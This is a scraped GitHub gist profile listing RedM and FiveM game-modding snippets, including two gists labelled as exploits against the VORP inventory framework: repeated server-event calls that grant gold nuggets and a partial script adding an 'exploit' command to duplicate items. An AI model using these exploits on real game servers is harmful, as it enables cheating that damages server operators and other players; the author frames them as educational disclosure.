Skip to content

Instantly share code, notes, and snippets.

View draobrehtom's full-sized avatar

Drao draobrehtom

View GitHub Profile

Prompt Research

Note: The code examples below should work on RedM. On other frameworks, you may need to adjust some function names.

Creating prompts

To create a prompt, start with _UI_PROMPT_REGISTER_BEGIN (0x04F97DE45A519419), set up some settings, then finish with _UI_PROMPT_REGISTER_END (0xF7AA2696A22AD8B9). While there's a native to create prompts (_UI_PROMPT_CREATE (0x29FA7910726C3889)), there aren't many exemples around.

A prompt basically needs a control and a text. You can find a list of controls here Controls (femga/rdr3_discoveries). The text has to be created with VAR_STRING (0xFA925AC00EB830B9).

--[[
Copyright 2022 ZeroDream
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
@draobrehtom
draobrehtom / client.lua
Last active July 1, 2024 07:10
VORP Inventory Item Exploit
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
-- Wow, It's a lot of gold :P
@draobrehtom
draobrehtom / hud_money.lua
Last active March 26, 2024 23:21
RedM Hud Money
local menuContainer = DatabindingAddDataContainerFromPath('', 'Tithing')
local campCashContainer = DatabindingAddDataContainer(menuContainer, 'CampFunds')
DatabindingAddDataInt(campCashContainer, 'dollars', 69)
DatabindingAddDataInt(campCashContainer, 'cents', 69)
local cashContainer = DatabindingAddDataContainer(menuContainer, 'PlayerCash')
DatabindingAddDataInt(cashContainer, 'dollars', 420)
DatabindingAddDataInt(cashContainer, 'cents', 69)
@draobrehtom
draobrehtom / exploit.lua
Last active July 19, 2024 23:03
Exploiting inventory items within the VORP Framework (RedM) for educational purposes.
-- vorp_inventory source code:https://github.com/VORPCORE/vorp_inventory-lua
local uid = nil
RegisterNetEvent('vorpInventory:sharePickupClient', function(data)
if data.obj == 'NEVER_TRUST_CLIENT_SIDE' then
uid = data.uid
end
end)
RegisterCommand('exploit', function(source, args)
local name = args[1] or 'gold_nugget'
@draobrehtom
draobrehtom / tasks.lua
Created May 13, 2022 18:10
GTA V Tasks List
tasksIndex = {
CTaskHandsUp = 0,
CTaskClimbLadder = 1,
CTaskExitVehicle = 2,
CTaskCombatRoll = 3,
CTaskAimGunOnFoot = 4,
CTaskMovePlayer = 5,
CTaskPlayerOnFoot = 6,
CTaskWeapon = 8,
CTaskPlayerWeapon = 9,
Config = {}
if GetResourceState('es_extended') == 'started' or GetResourceState('extendedmode') == 'started' then -- ESX
Config.Framework = "ESX"
TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end)
elseif GetResourceState('qb-core') == 'started' then -- QBCore
Config.Framework = "QBCore"
local success = pcall(function()
print(exports['qb-core'].GetCoreObject)
end)
@draobrehtom
draobrehtom / package.json
Created January 14, 2020 20:32
FiveM: JS - Development config
{
"name": "gungame",
"version": "1.0.0",
"description": "Gun Game gamemode for FiveM",
"main": "index.js",
"scripts": {
"buildc": "tsc --build src/client/tsconfig.json",
"builds": "tsc --build src/server/tsconfig.json",
"build": "npm run buildc && npm run builds",
"format": "prettier --write \"src/**/*.ts\" \"src/**/*.js\"",
@draobrehtom
draobrehtom / aim.js
Created January 2, 2020 09:26
Fivem: JS - Aiming to entity and deleting it
let previousPed;
GiveWeaponToPed(PlayerPedId(), GetHashKey('WEAPON_SNOWBALL'), 30, false, true);
setTick(() => {
if (IsPlayerFreeAiming()) {
let r = GetEntityPlayerIsFreeAimingAt(PlayerId());
if (r[0] && DoesEntityExist(r[1])) {
if (IsEntityAPed(r[1]) && IsEntityDead(r[1]) === false) {
previousPed = PlayerPedId();
SwitchOutPlayer(previousPed, 0, 0);
SwitchInPlayer(r[1]);
@draobrehtom
draobrehtom / car.js
Created January 2, 2020 09:20
FiveM: JS - Creating car
RegisterCommand("car", async (source, args) => {
let vehicleName = args[0] ? args[0] : 'adder';
if (! IsModelInCdimage(vehicleName) || ! IsModelAVehicle(vehicleName)) {
emitNet("js:chat", 'spawn a ' + vehicleName + '. Who even wants their spawning to actually ^*succeed?', [0,0,0]);
return;
}
RequestModel(vehicleName);
let i = setInterval(() => {
emitNet("js:chat", 'model loading', [0,0,0]);